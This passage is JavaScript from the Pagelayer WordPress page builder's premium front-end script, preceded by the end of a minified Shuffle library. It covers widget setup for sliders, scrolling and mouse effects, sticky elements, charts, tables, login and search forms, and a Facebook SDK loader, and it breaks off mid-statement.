1)",itemSelector:"*",sizer:null,gutterWidth:0,columnWidth:0,delimiter:null,buffer:0,columnThreshold:.01,initialSort:null,throttle:c,throttleTime:300,staggerAmount:15,staggerAmountMax:150,useTransforms:!0,filterMode:H.FilterMode.ANY,isCentered:!1,roundTransforms:!0},H.Point=p,H.Rect=v,H.__sorter=T,H.__getColumnSpan=M,H.__getAvailablePositions=A,H.__getShortColumn=F,H.__getCenteredPositions=x,H}); //# sourceMappingURL=shuffle.min.js.map PK-Y\js/premium-frontend.jsnu[/* PAGELAYER http://pagelayer.com/ (c) Pagelayer Team */ // Things to do on document load jQuery(document).ready(function(){ jQuery('.pagelayer-slides').each(function(){ pagelayer_pl_slides(jQuery(this)); }); jQuery('.pagelayer-featured_img').each(function(){ pagelayer_pl_image(jQuery(this)); }); jQuery('.pagelayer-wp_posts_slider').each(function(){ pagelayer_wp_posts_slider(jQuery(this)); }); jQuery('.pagelayer-review_slider').each(function(){ pagelayer_reviews_slider(jQuery(this)); }); // Facebook Apps if(jQuery('[pagelayer-facebook-load]')){ pagelayer_fb_apps(jQuery(this)); } // For Pagelayer Pro jQuery('.pagelayer-image_hotspot').each(function(){ pagelayer_image_hotspot(jQuery(this)); }); jQuery('.pagelayer-chart').each(function(){ pagelayer_chart(jQuery(this)); }); jQuery('.pagelayer-table').each(function(){ pagelayer_table(jQuery(this)); }); jQuery('.pagelayer-audio').each(function(){ pagelayer_audio(jQuery(this)); }); jQuery('.pagelayer-post_folio').each(function(){ pagelayer_post_folio(jQuery(this)); }); jQuery('.pagelayer-search').each(function(){ pagelayer_search_form(jQuery(this)); }); jQuery('.pagelayer-sitemap').each(function(){ pagelayer_sitemap_add_attributes(jQuery(this)); }); jQuery('.pagelayer-posts').each(function(){ var is_slider = jQuery(this).find('.pagelayer-posts-container').data('enable_slider'); if(is_slider){ pagelayer_pl_posts(jQuery(this)); } }); jQuery('.pagelayer-video_slider').each(function(){ pagelayer_pl_video_slider(jQuery(this)); }); jQuery('.pagelayer-woo_menu_cart').each(function(){ pagelayer_woo_menu_cart(jQuery(this)); }); jQuery('.pagelayer-popup-modal').each(function(){ pagelayer_popup_setup(jQuery(this)); }); jQuery('.pagelayer-sticky-ele').each(function(){ pagelayer_ele_sticky_handler(jQuery(this)); }); jQuery('.pagelayer-scrolling-effects').each(function(){ pagelayer_scrolling_effects(jQuery(this)); }); jQuery('.pagelayer-mouse-effects').each(function(){ pagelayer_mouse_effects(jQuery(this)); }); jQuery('.pagelayer-img_portfolio').each(function(){ pagelayer_pl_img_portfolio(jQuery(this)); }); jQuery('.pagelayer-single_img').each(function(){ pagelayer_pl_image(jQuery(this)); }); jQuery('.pagelayer-splash-container').each(function(){ pagelayer_pl_splash_screen(jQuery(this)); }); jQuery('.pagelayer-fb-page-container, .pagelayer-fb-embed-container').each(function(){ pagelayer_fb_width(jQuery(this)); }); jQuery('.pagelayer-before_after').each(function(){ pagelayer_before_after_slider(jQuery(this)); }); jQuery('.pagelayer-image_map').each(function(){ pagelayer_pl_image_map(jQuery(this)); // Make image map editable if(!pagelayer_empty(pagelayer_is_live)){ pagelayer_imgmap_handler(jQuery(this)); } }); }); jQuery(window).resize(function(){ jQuery('.pagelayer-scrolling-effects').each(function(){ pagelayer_scrolling_effects(jQuery(this)); }); }); // Add all shuffle instance in this object var shuffleInstance = {}; // Portfolio Gallery function pagelayer_pl_img_portfolio(jEle){ var id = jEle.attr('pagelayer-id'); var arr = []; // Fetch all categories in array jEle.find('[port-cat]').each(function(){ var cat = jQuery(this).attr('port-cat'); if(cat){ //var sel = jQuery(this).parent('.pagelayer-ele-wrap') ? jQuery(this).parent('.pagelayer-ele-wrap') : jQuery(this); jQuery(this).attr('data-groups','["'+cat+'"]'); if(!arr.includes(cat)){ arr.push(cat); } } }) // Create category button html var html = ''; arr.forEach(function(val){ if(val && val != 'all'){ html += ''; } }); // Append category buttons to holder jEle.find('.pagelayer-category-holder').empty().append(html); var setup = jEle.attr('pagelayer-setup'); // Already setup ? then distroy shuffle if(setup && setup.length > 0 && !pagelayer_empty(shuffleInstance[id])){ shuffleInstance[id].destroy(); } // Create an shuffle instance var Shuffle = window.Shuffle; var element = jEle.find('.pagelayer-img_portfolio-holder'); var sizer = jEle.find('.pagelayer-img_portfolio-holder'); shuffleInstance[id] = new Shuffle(element,{ itemSelector: '.pagelayer-img_portfolio-holder>div', //sizer: sizer // could also be a selector: '.my-sizer-element' }); // set click events on category buttons if(!window.location.href.includes('pagelayer-live=1')){ jEle.find('button').on("click", function(){ shuffleInstance[id].filter(jQuery(this).attr('data-pgl_pfbtn')); }); } // Set that we have setup everything jEle.attr('pagelayer-setup', 1); } // Reset Scrolling effects function pagelayer_reset_scrolling(jEle, parentEle){ if(jEle.length < 1){ return; } var style = jEle.get(0).style; style.setProperty("--transY", 0 +"px"); style.setProperty("--transX", 0 +"px"); style.setProperty("--rot", 0 +"deg"); jEle.css({"transform":"" , "opacity":"1" , "filter":"none"}); parentEle.off('scroll.'+jEle.attr('pagelayer-id')); } // Handle the scrolling effects function pagelayer_scrolling_effects(jEle, parentEle){ parentEle = parentEle || jQuery(pagelayerGetDocumentElement()); var win = pagelayerGetCurrentWindow(); pagelayer_reset_scrolling(jEle, parentEle); // Is this element to be scrolled on this Screen Size ? var screens = jEle.attr('ele_motion_effect_on'); if(pagelayer_empty(screens) || screens.search(pagelayer_get_media_mode()) == -1){ return; } var style = jEle.get(0).style; var totalProperty = ''; var documentHeight = parentEle.height(); var screenMiddle = documentHeight/2; var eMid = documentHeight/2;// By default motion_area-entire_page if(jEle.attr('motion_area') == 'viewport'){ jEle.css('top', '0px'); // For viewPort in Gutenberg if (parentEle.hasClass('interface-interface-skeleton__content')) { var scrollTopOfDiv = parentEle.scrollTop(); var offsetFromTopOfDiv = jEle.parent().offset().top - parentEle.offset().top + scrollTopOfDiv; eMid = offsetFromTopOfDiv + jEle.parent().height() / 2; }else{ eMid = jEle.parent().offset().top + jEle.parent().height() / 2; } screenMiddle = jQuery(win).height() / 2; } var screenHeightPercent = screenMiddle/100; // Vertical Scroll if(jEle.attr('ele_vertical_scroll')){ if(jEle.attr('motion_area')=='entire_page'){ jEle.offset({top:(documentHeight/2)}); } totalProperty += "translateY(var(--transY))"; var vertical_top = Math.ceil(jEle.attr('ele_v_sc_top_viewport')*(screenHeightPercent)); var vertical_bottom = -Math.ceil(jEle.attr('ele_v_sc_bottom_viewport')*(screenHeightPercent)); } // Horizontal scroll if(jEle.attr('ele_horizontal_scroll')){ totalProperty += "translateX(var(--transX))"; var screenWidthPercent = jQuery(win).width()/200; var horizontal_right = (Math.ceil(jEle.attr('ele_h_sc_right_viewport')*(screenWidthPercent))); var horizontal_left = -(Math.ceil(jEle.attr('ele_h_sc_left_viewport')*(screenWidthPercent))); } // Transparency if(jEle.attr('ele_transparency')){ var fadingLevel = 1-jEle.attr('ele_transp_level')/10; var transparency_top = Math.ceil(jEle.attr('ele_transp_top_viewport')*(screenHeightPercent)); var transparency_bottom = Math.ceil(jEle.attr('ele_transp_bottom_viewport')*(screenHeightPercent)); } // Blur if(jEle.attr('ele_blur')){ var blurringLevel = jEle.attr('ele_blur_level'); var blur_top = Math.ceil(jEle.attr('ele_blur_top_viewport')*(screenHeightPercent)); var blur_bottom = Math.ceil(jEle.attr('ele_blur_bottom_viewport')*(screenHeightPercent)); } // Rotate if(jEle.attr('ele_rotate')){ totalProperty += "rotate(var(--rot))"; var rotate_top = Math.ceil(jEle.attr('ele_rot_top_viewport')*(screenHeightPercent)); var rotate_bottom = -Math.ceil(jEle.attr('ele_rot_bottom_viewport')*(screenHeightPercent)); } // Scale if(jEle.attr('ele_scale')){ var childScale = jEle.children("div"); var scalingLevel = jEle.attr('ele_scl_level'); var scale_top = Math.ceil(jEle.attr('ele_scl_top_viewport')*(screenHeightPercent)); var scale_bottom = Math.ceil(jEle.attr('ele_scl_bottom_viewport')*(screenHeightPercent)); } if(totalProperty != ''){ jEle.css('transform', totalProperty); } // On Scroll calc and set parentEle.on('scroll.'+jEle.attr('pagelayer-id'), function(){ var vpMid = parentEle.scrollTop() + jQuery(win).height()/2; if(jEle.attr('ele_vertical_scroll')){ var preCalc = ((eMid-vpMid)/10)*(jEle.attr('ele_v_sc_speed')); if(jEle.attr('ele_v_sc_direction') == 'opposite'){ if(-preCalc<=vertical_top && -preCalc>vertical_bottom){ style.setProperty("--transY", preCalc +"px"); } }else if(jEle.attr('ele_v_sc_direction') == 'similar'){ if(preCalc<=vertical_top && preCalc>vertical_bottom){ style.setProperty("--transY", -preCalc +"px"); } } } if(jEle.attr('ele_horizontal_scroll')){ var preCalc = (eMid-vpMid)*(jEle.attr('ele_h_sc_speed')/2); if(jEle.attr('ele_h_sc_direction')=='toleft'){ if(preCalc<=horizontal_right && preCalc>horizontal_left) style.setProperty("--transX", preCalc +"px"); }else if(jEle.attr('ele_h_sc_direction')=='toright'){ if(-preCalc<=horizontal_right && -preCalc>horizontal_left) style.setProperty("--transX", -preCalc +"px"); } } if(jEle.attr('ele_transparency')){ var preCalc = (vpMid)-eMid; if(preCalc>(-transparency_bottom) && preCalc<=transparency_top){ var eMidB = eMid-transparency_bottom; var eMidT = eMid+transparency_top; var eMidTB = eMidT-eMidB; if(jEle.attr('ele_transp_type')=='fadein'){ var fadeIn = ((vpMid-eMidB)/eMidTB)+fadingLevel; jEle.css("opacity",fadeIn); }else if(jEle.attr('ele_transp_type')=='fadeout'){ var fadeOut = ((eMidT-vpMid)/eMidTB)+fadingLevel; jEle.css("opacity",fadeOut); }else if(jEle.attr('ele_transp_type')=='fadeinout'){ var fadeInOut1 = ((vpMid-eMidB)/(eMidTB/2))+fadingLevel; var fadeInOut2 = ((eMidT-vpMid)/(eMidTB/2))+fadingLevel; if(fadeInOut1<1+fadingLevel && fadeInOut1>0+fadingLevel){ jEle.css("opacity",fadeInOut1); }else if(fadeInOut2<1+fadingLevel && fadeInOut2>0+fadingLevel){ jEle.css("opacity",fadeInOut2); } }else if(jEle.attr('ele_transp_type')=='fadeoutin'){ var fadeOutIn1 = (((vpMid-eMidB)/(eMidTB/2)-1))+fadingLevel; var fadeOutIn2 = (((eMidT-vpMid)/(eMidTB/2)-1))+fadingLevel; if(fadeOutIn2<1+fadingLevel && fadeOutIn2>0+fadingLevel){ jEle.css("opacity",fadeOutIn2); }else if(fadeOutIn1<1+fadingLevel && fadeOutIn1>0+fadingLevel){ jEle.css("opacity",fadeOutIn1); } } } } if(jEle.attr('ele_blur')){ var preCalc = vpMid-eMid; if(preCalc>-(blur_bottom) && preCalc<=blur_top){ var eMidB = eMid-blur_bottom; var eMidT = eMid+blur_top; var eMidTB = eMidT-eMidB; if(jEle.attr('ele_blur_type')=='blurin'){ var blurIn = ((eMidT-vpMid)/eMidTB)*blurringLevel; jEle.css("filter","blur("+blurIn+"px)"); }else if(jEle.attr('ele_blur_type')=='blurout'){ var blurOut = ((vpMid-eMidB)/eMidTB)*blurringLevel; jEle.css("filter","blur("+blurOut+"px)"); }else if(jEle.attr('ele_blur_type')=='blurinout'){ var blurInOut1 = (vpMid-eMidB)/(eMidTB/2)*blurringLevel; var blurInOut2 = (eMidT-vpMid)/(eMidTB/2)*blurringLevel; if(blurInOut1<1*blurringLevel && blurInOut1>0.01*blurringLevel){ jEle.css("filter","blur("+blurInOut1+"px)"); }else if(blurInOut2<1*blurringLevel && blurInOut2>0.01*blurringLevel){ jEle.css("filter","blur("+blurInOut2+"px)"); } }else if(jEle.attr('ele_blur_type')=='bluroutin'){ var blurOutIn1 = ((vpMid-eMidB)/(eMidTB/2)-1)*blurringLevel; var blurOutIn2 = ((eMidT-vpMid)/(eMidTB/2)-1)*blurringLevel; if(blurOutIn2<1*blurringLevel && blurOutIn2>0.01*blurringLevel){ jEle.css("filter","blur("+blurOutIn2+"px)"); }else if(blurOutIn1<1*blurringLevel && blurOutIn1>0.01*blurringLevel){ jEle.css("filter","blur("+blurOutIn1+"px)"); } } } } if(jEle.attr('ele_rotate')){ var preCalc = ((vpMid-eMid)/2); var rotSpeed = jEle.attr('ele_rot_speed')/2; if(jEle.attr('ele_rot_direction')=='clockwise'){ if(preCalc<=rotate_top && preCalc>rotate_bottom){ style.setProperty("--rot", preCalc*rotSpeed +"deg"); } }else if(jEle.attr('ele_rot_direction')=='anticlockwise'){ if(preCalc<=rotate_top && preCalc>rotate_bottom){ style.setProperty("--rot", -preCalc*rotSpeed +"deg"); } } } if(jEle.attr('ele_scale')){ var preCalc = vpMid-eMid; if(preCalc>-(scale_bottom) && preCalc<=scale_top){ var eMidB = eMid-scale_bottom; var eMidT = eMid+scale_top; var eMidTB = eMidT-eMidB; if(jEle.attr('ele_scl_direction')=='scaleup'){ var scaleUp = ((vpMid-eMidB)/eMidTB)*scalingLevel+1; childScale.css("transform","scale("+ scaleUp +")"); }else if(jEle.attr('ele_scl_direction')=='scaledown'){ var scaleDown = ((eMidT-vpMid)/eMidTB)*scalingLevel+1; childScale.css("transform","scale("+ scaleDown +")"); }else if(jEle.attr('ele_scl_direction')=='scaleupdown'){ var scaleUpDown2 = (vpMid-eMidB)/(eMidTB/2)*scalingLevel+1; var scaleUpDown1 = (eMidT-vpMid)/(eMidTB/2)*scalingLevel+1; if(scaleUpDown1<1*scalingLevel && scaleUpDown1>0.1*scalingLevel){ childScale.css("transform","scale("+ scaleUpDown1 +")"); }else if(scaleUpDown2<1*scalingLevel && scaleUpDown2>0.1*scalingLevel){ childScale.css("transform","scale("+ scaleUpDown2 +")"); } }else if(jEle.attr('ele_scl_direction')=='scaledownup'){ var scaleDownUp1 = ((vpMid-eMidB)/(eMidTB/2)-1)*scalingLevel+1; var scaleDownUp2 = ((eMidT-vpMid)/(eMidTB/2)-1)*scalingLevel+1; if(scaleDownUp1<1*scalingLevel && scaleDownUp1>0.1*scalingLevel){ childScale.css("transform","scale("+ scaleDownUp1 +")"); }else if(scaleDownUp2<1*scalingLevel && scaleDownUp2>0.1*scalingLevel){ childScale.css("transform","scale("+ scaleDownUp2 +")"); } } } } }); }; function pagelayer_mouse_reset(jEle){ var win = pagelayerGetCurrentWindow(); jEle.css("transform", ""); var style = jEle.get(0).style; style.setProperty("--transY", 0 +"px"); style.setProperty("--transX", 0 +"px"); style.setProperty("--rotX", 0 +"deg"); style.setProperty("--rotY", 0 +"deg"); jQuery(win).off('mousemove.'+jEle.attr('pagelayer-id')); } // Mouse Effects setup function pagelayer_mouse_effects(jEle){ pagelayer_mouse_reset(jEle); var style = jEle.get(0).style; var mouseproperty = ''; var halfWidth = jEle.parent().offset().left+jEle.parent().width()/2; var halfHeight = jEle.parent().offset().top+jEle.parent().height()/2; if(jEle.attr('ele_m_track')){ mouseproperty += 'translateX(var(--transX)) translateY(var(--transY))'; var mouseLevel = jEle.attr('ele_m_tr_level'); } if(jEle.attr('ele_3d_tilt')){ mouseproperty += ' rotateX(var(--rotX)) rotateY(var(--rotY))'; jEle.parent().css("perspective", "1200px"); var tiltLevel = jEle.attr('ele_3d_tilt_level'); } if(mouseproperty != ''){ jEle.css("transform", mouseproperty); } var win = pagelayerGetCurrentWindow(); jQuery(win).bind('mousemove.'+jEle.attr('pagelayer-id'), function(event){ if(jEle.attr('ele_m_track')){ if(jEle.attr('ele_m_tr_direction') == 'opposite'){ var x =((event.pageX - halfWidth)*mouseLevel)/10; var y =((event.pageY - halfHeight)*mouseLevel)/10; style.setProperty("--transX",-x +"px"); style.setProperty("--transY",-y +"px"); //console.log(halfWidth +" "+ mouseLevel); }else if(jEle.attr('ele_m_tr_direction') == 'same'){ var x =((event.pageX - halfWidth)*mouseLevel)/10; var y = ((event.pageY-halfHeight)*mouseLevel)/10; style.setProperty("--transX",x +"px"); style.setProperty("--transY",y +"px"); } } if(jEle.attr('ele_3d_tilt')){ if(jEle.attr('ele_3d_tilt_direction')=='opposite'){ var x=((event.pageX - halfWidth)*tiltLevel)/100; var y=((event.pageY - halfHeight)*tiltLevel)/100; style.setProperty("--rotX", y +"deg"); style.setProperty("--rotY",-x + "deg"); }else if(jEle.attr('ele_3d_tilt_direction')=='same'){ var x=((event.pageX - halfWidth)*tiltLevel)/100; var y=((event.pageY - halfHeight)*tiltLevel)/100; style.setProperty("--rotX",-y + "deg"); style.setProperty("--rotY",x +"deg"); } } }); } // Element sticky handler function pagelayer_ele_sticky_handler(jEle, parentEle){ // Set element stickied if(jEle.attr('pagelayer-stickied-ele') == 1){ return; } parentEle = parentEle || jQuery(window); jEle.attr('pagelayer-stickied-ele', 1); var jEleTop = jEle.offset().top; var jEleW = jEle[0].clientWidth +'px'; var oldstyle = jEle.attr('style') || ''; var pagelayer_sticky = function(){ var position = jEle.attr('data-sticky-position') || ''; var offset = jEle.attr('data-sticky-offset') || 0; var sticky_in_col = jEle.attr('data-sticky_in_col') || ''; var sticky_on = jEle.attr('data-sticky-on') || ''; sticky_on = sticky_on.split(','); // If match the media var do_sticky = false; for(var x in sticky_on){ if(pagelayer_get_media_mode() == sticky_on[x]){ do_sticky = true; } } // If there is a wrapper var wrapper = jEle.parent('.pagelayer-ele-wrap'); if(wrapper.length > 0 ){ // Reset jEle jEle.next('.pagelayer-sticky-space-holder').remove(); jEle.attr('style', oldstyle); // Get wrapper old syle oldstyle = wrapper.attr('oldstyle') || ''; if(pagelayer_empty(oldstyle)){ oldstyle = wrapper.attr('style') || '1'; wrapper.attr('oldstyle', oldstyle); }else if(oldstyle == '1'){ oldstyle = ''; } }else{ wrapper = jEle; } var parentHeight = parentEle.height(); var parentScrollTop = parentEle.scrollTop(); var topToCheck = jEleTop - parentScrollTop; // Do fixed the element var pagelayer_fixed = function(){ var opp_position = (position == 'top') ? 'bottom' : 'top'; var fixed_css = {'position': 'fixed', 'width': jEleW, 'max-width': jEleW, [position] : offset +'px', [opp_position]: 'auto','z-index' : '99'} // For the sticky in columns if(!pagelayer_empty(sticky_in_col)){ //fixed_css['position'] = 'sticky'; var container = wrapper.parent(); var containerTop = container.offset().top; if((containerTop + container.height()) - parentScrollTop <= wrapper.outerHeight(true) + offset || containerTop - parentScrollTop >= parentHeight - wrapper.outerHeight(true) - offset){ fixed_css['position'] = 'absolute'; fixed_css[opp_position] = '0px'; fixed_css[position] = 'auto'; } } // Add position holder element if(wrapper.next('.pagelayer-sticky-space-holder').length < 1 ){ var clone = wrapper.clone(true); clone.addClass('pagelayer-sticky-space-holder'); clone.css({'visibility' : 'hidden', 'transition': 'none 0s ease 0s', 'animation': '0s ease 0s 1 normal none running none'}); // Remove pagelayer-parent attributes to avoid group children list double if(!pagelayer_empty(pagelayer_is_live)){ clone.removeClass('pagelayer-ele-wrap'); clone.removeClass('pagelayer-ele'); clone.find('.pagelayer-ele').removeClass('pagelayer-ele'); clone.find('[pagelayer-id]').removeAttr('pagelayer-id'); } // Add wrapper.after(clone); //wrapper.after(''); } // Css for fixed the element wrapper.css(fixed_css); } // TODO: manage margin var mTopEle = parseFloat(wrapper.css('margin-top')); var mBottomEle = parseFloat(wrapper.css('margin-bottom')); // Fixed on top if( position == 'top' && (topToCheck <= offset+mTopEle && do_sticky) ){ pagelayer_fixed(); // Fixed on bottom }else if( position == 'bottom' && topToCheck + wrapper.outerHeight()+mBottomEle >= parentHeight - offset && do_sticky) { pagelayer_fixed(); // Set old style }else{ wrapper.attr('style', oldstyle); wrapper.next('.pagelayer-sticky-space-holder').remove(); jEleW = wrapper[0].clientWidth +'px'; jEleTop = wrapper.offset().top; } return true; }; // Run for the first time pagelayer_sticky(); // On window scroll parentEle.scroll(pagelayer_sticky); parentEle.resize(pagelayer_sticky); } function pagelayer_pl_posts(jEle){ var ul = jEle.find('.pagelayer-posts-container'); ul.addClass('pagelayer-owl-carousel pagelayer-owl-theme'); // Build the options var options = pagelayer_fetch_dataAttrs(ul, 'data-owl-'); // Already setup ? var setup = jEle.attr('pagelayer-setup'); // If already setup then Destroy Owl if(setup && setup.length > 0){ ul.pagelayerOwlCarousel('destroy'); ul.find('[class^="pagelayer-owl-"]').remove(); } //console.log(options); ul.pagelayerOwlCarousel(options); // Set that we have setup everything jEle.attr('pagelayer-setup', 1); } function pagelayer_pl_slides(jEle){ var ul = jEle.find('.pagelayer-slides-holder'); // Build the options var options = pagelayer_fetch_dataAttrs(ul, 'data-slides-'); var blurNav = false; if(pagelayer_is_live){ if(!options.nav && !options.dots) { options.nav = true; options.dots = true; blurNav = true; } options.mouseDrag = false; } pagelayer_owl_init(jEle, ul, options); if(blurNav){ ul.find('.pagelayer-owl-nav button').css({'filter': 'blur(2px)'}); ul.find('.pagelayer-owl-dot').css({'filter': 'blur(2px)'}); } // Shows element animations after slide change ul.on('refresh.owl.carousel translate.owl.carousel', function(e) { var slide = jQuery(this); if(!pagelayer_is_live) { slide.find('.pagelayer-wow').addClass('animated'); return; } slide.find('.pagelayer-ele').each(function() { var ele = jQuery(this); if(ele.css('animation-name') == 'none') { return; } ele.addClass('pagelayer-wow animated').one('webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend', function(){ ele.removeClass('pagelayer-wow animated'); }); }); }); } // For Pagelayer Pro // Show tooltip in image hotspot function pagelayer_image_hotspot(jEle){ // Drag and Drop function for image if (typeof pagelayer_preDAndD_image !== "undefined") { pagelayer_preDAndD_image(jEle); } var tooltip_click = jEle.find('.pagelayer-icon-holder'); var icon_holder = jEle.find('.pagelayer-hotspots-icon-holder'); icon_holder.off('click'); icon_holder.find('.pagelayer-tooltip-text').removeClass('pagelayer-tooltip-on-click'); if(tooltip_click.hasClass('pagelayer-hotspots-click')){ icon_holder.each(function(){ jQuery(this).click(function(){ jQuery(this).find( '.pagelayer-tooltip-text' ).toggleClass('pagelayer-tooltip-on-click'); }) }); } // Assigning animation classes to icon holder if(!pagelayer_empty(tooltip_click.attr('pagelayer-animation'))){ icon_holder.addClass('pagelayer-animation-'+tooltip_click.attr('pagelayer-animation')); } } var pagelayer_chart_objects = {}; // Show Chart render function pagelayer_chart(jEle){ var holder = jEle.find('.pagelayer-chart-holder'); var id = jEle.attr('pagelayer-id'); var type = holder.attr('chart-type'); var labels = holder.attr('chart-labels') || ''; var legend = holder.attr('chart-legend'); var chart_datasets = []; labels = labels.split(','); //console.log(labels); jEle.find('.pagelayer-chart-child-holder').find('.pagelayer-chart-datasets').each(function(){ var tmp_dataset = {}; //console.log(jQuery(this).attr('chart-datasets')); var chartDatasets = jQuery(this).attr('chart-datasets') || ''; tmp_dataset['data'] = chartDatasets.split(','); //tmp_dataset['data'] = [734,784,2478,5267,433]; tmp_dataset['label'] = jQuery(this).attr('datasets-label'); tmp_dataset['backgroundColor'] = ( holder.attr('chart-colors') ? holder.attr('chart-colors').split(',') : jQuery(this).attr('dataset-bg') ); tmp_dataset['borderColor'] = jQuery(this).attr('border-color'); tmp_dataset['borderWidth'] = 1; tmp_dataset['fill'] = ( jQuery(this).attr('dataset-fill') ? true : false ); chart_datasets.push(tmp_dataset); }); //console.log(chart_datasets); //chart_datasets = chart_datasets.join(','); if(id in pagelayer_chart_objects && typeof pagelayer_chart_objects[id].destroy == 'function'){ pagelayer_chart_objects[id].destroy(); } pagelayer_chart_objects[id] = new Chart(jEle.find('.pagelayer-chart-holder'), { type: type, data: { labels: labels, datasets: chart_datasets }, options: { //rotation: holder.attr('data-pierotate') * Math.PI, //circumference: holder.attr('data-circumference') * Math.PI, maintainAspectRatio: ( holder.attr('chart-height') ? false : true ), legend: { display: ( legend ? true : false ), position: legend, }, scales: { xAxes: [ { barPercentage: 1, categoryPercentage: 0.9, ticks:{ beginAtZero: holder.attr('data-xbegin'), fontColor: holder.attr('data-xcolor'), fontSize: holder.attr('data-xsize'), autoSkip: false, maxRotation: holder.attr('data-xrotate'), minRotation: holder.attr('data-xrotate') }, //stacked: true } ], yAxes:[ { ticks:{ beginAtZero: holder.attr('data-ybegin'), fontColor: holder.attr('data-ycolor'), fontSize: holder.attr('data-ysize'), autoSkip: false, maxRotation: holder.attr('data-yrotate'), minRotation: holder.attr('data-yrotate') }, //stacked: true } ] } } }); } // Show table render function pagelayer_table(jEle){ var tHolder = jEle.find('.pagelayer-table-holder'); var dHolder = jEle.find('.pagelayer-data-holder'); var trEle = dHolder.find(".pagelayer-table_row"); var tdlength = 0; tHolder.empty(); /*trEle.each(function(){ var tdEle = jQuery(this).find(".pagelayer-table_col").length; if(tdlength < tdEle){tdlength = tdEle} });*/ // Add rows trEle.each(function(){ var this_trEle = jQuery(this); var this_trId = this_trEle.attr('pagelayer-id'); var tdEle = this_trEle.find(".pagelayer-table_col"); var html = ''; // Add columns tdEle.each(function(){ var td_data_Holder = jQuery(this).find('.pagelayer-col-data'); var td_id = jQuery(this).attr('pagelayer-id'); var tdata = td_data_Holder.attr('data-td') || ''; var t_tag = td_data_Holder.attr('data-tag') || ''; var attrs = {}; var col_attr = ''; attrs['colspan']= td_data_Holder.attr('data-colspan') || ''; attrs['rowspan'] = td_data_Holder.attr('data-rowspan') || ''; if(!pagelayer_empty(pagelayer_is_live)){ attrs['pagelayer-ref-id'] = td_id; attrs['pagelayer-editable'] = 'data'; attrs['contenteditable'] = 'true'; } for(var key in attrs){ if(!pagelayer_empty(attrs[key])){ col_attr += key+'="'+attrs[key]+'"'; } } html = html+'<'+t_tag +' '+col_attr+' pagelayer-table-id="'+td_id+'">'+tdata+''; }); /* if(tdlength > tdEle.length){ var extra_td = tdlength - tdEle.length; for(var i=0; extra_td >i; i++){ html = html+''; } } */ tHolder.append(''+html+''); }); if(!pagelayer_empty(pagelayer_is_live)){ tHolder.on('input', '[contenteditable]', function(){ var jEle = jQuery(this); var val = pagelayer_trim(jEle.html()); var id = jEle.closest('[pagelayer-ref-id]').attr('pagelayer-ref-id'); if(pagelayer_empty(id)){ return; } jQuery('[pagelayer-id='+id+']').find('.pagelayer-col-data').attr('data-td', val); }); } } function pagelayer_audio(jEle){ var audio = jQuery(jEle.find('audio')); var container = jEle.find('.pagelayer-audio-container'); var features = ['playpause','tracks','fullscreen']; (container.attr('show_duration') ? features.push('duration') : '' ); (container.attr('show_progress') ? features.push('progress') : '' ); (container.attr('show_current') ? features.push('current') : '' ); (container.attr('show_volume') ? features.push('volume') : '' ); audio.mediaelementplayer({ //features: ['playpause','duration','progress','current','volume','tracks','fullscreen'] features: features }); } // Post Portfolio Handler - Premium function pagelayer_post_folio(jEle){ var btn = jEle.find('.pagelayer-postfolio-btn'); var thumb = jEle.find('.pagelayer-postfolio-thumb'); btn.unbind('click'); btn.on('click', function(){ var btn_cat = jQuery(this).data("filter"); if(btn_cat == 'all'){ jQuery(thumb).fadeIn(1200); }else{ thumb.each(function(){ var thumb_cat = jQuery(this).data("category"); if(!pagelayer_empty(thumb_cat)){ thumb_cat = thumb_cat.split(' '); if(jQuery.inArray( btn_cat, thumb_cat ) == -1){ jQuery(this).hide(); }else{ jQuery(this).fadeIn(600); } }else{ jQuery(this).hide(); } }); } }); } // Search Form handler - Premium function pagelayer_search_form(jEle){ // In full screen mode set auto complete offscreenBuffering jEle.find('.pagelayer-search-full-screen form').attr('autocomplete', 'off'); jEle.find('.pagelayer-search-toggle').click(function(){ jEle.find('.pagelayer-search-fields').toggleClass('show'); }); jEle.find('.pagelayer-search-fields').click(function(e){ e = window.event || e; if(this === e.target) { jQuery(this).removeClass('show'); } }); } // Login Form handler - Premium function pagelayer_login_submit(jEle, e){ e.preventDefault(); var fdata = new FormData( jQuery(jEle).closest('form')[0] ); // Append the nonce fdata.append('pagelayer_nonce', pagelayer_global_nonce); jQuery.ajax({ url: pagelayer_ajaxurl+'action=pagelayer_login_submit', type: "POST", data: fdata, processData: false, contentType: false, cache:false, success:function(result){ var json = jQuery.parseJSON(result); // console.log(json); if(!pagelayer_empty(json['error'])){ jQuery(".pagelayer-login-error-box").html(json['error']).fadeIn().delay(10000).fadeOut(); }else{ if(!pagelayer_empty(json['redirect'])){ window.location.href = json['redirect']; }else{ location.reload(true); } } } }); } //Review slider handler - Premium function pagelayer_reviews_slider(jEle){ var ul = jEle.find('.pagelayer-reviews-holder'); // Build the options var options = pagelayer_fetch_dataAttrs(ul, 'data-slides-'); pagelayer_owl_init(jEle, ul, options); } // Facebook App ID handler - Premium function pagelayer_fb_apps(jEle){ var app_id = jEle.find('.pagelayer-app-details').attr('pagelayer-app-id'); if(pagelayer_empty(app_id) || app_id == "{{fb-app-id}}"){ app_id = pagelayer_facebook_id; } // If still empty if(pagelayer_empty(app_id)){ return; } var win = pagelayerGetCurrentWindow(); var doc = pagelayerGetDocumentElement(); win.fbAsyncInit = function() { win.FB.init({ appId : app_id, autoLogAppEvents : true, xfbml : true, version : 'v3.3' }); }; win.FB = null; (function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; js = d.createElement(s); js.id = id; js.src = "https://connect.facebook.net/en_US/sdk.js#xfbml=1&version=v3.0"; fjs.parentNode.insertBefore(js, fjs); }(doc, 'script', 'facebook-jssdk')); } // SiteMap Attribute Handler- Premium function pagelayer_sitemap_add_attributes(jEle){ var nofollow = jEle.find('.pagelayer-sitemap-div-holder').data('nofollow'); if(!pagelayer_empty(nofollow)){ jEle.find('.pagelayer-sitemap-section .pagelayer-sitemap-list-item a').attr('rel','nofollow'); } } // Initialize video slider function pagelayer_pl_video_slider(jEle){ var ul = jEle.find('.pagelayer-video-slider-holder'); // Build the options var options = pagelayer_fetch_dataAttrs(ul, 'data-slides-'); pagelayer_owl_init(jEle, ul, options); } // Splash widget function pagelayer_pl_splash_screen(jEle){ if(!pagelayer_empty(pagelayer_is_live)){ return; } if( jEle.attr('display_type') == "once"){ if (!sessionStorage.isVisited) { sessionStorage.isVisited = "true"; jEle.delay(jEle.attr('delay')).fadeIn(); } }else{ jEle.delay(jEle.attr('delay')).fadeIn(); } jEle.find('.pagelayer-splash-close, 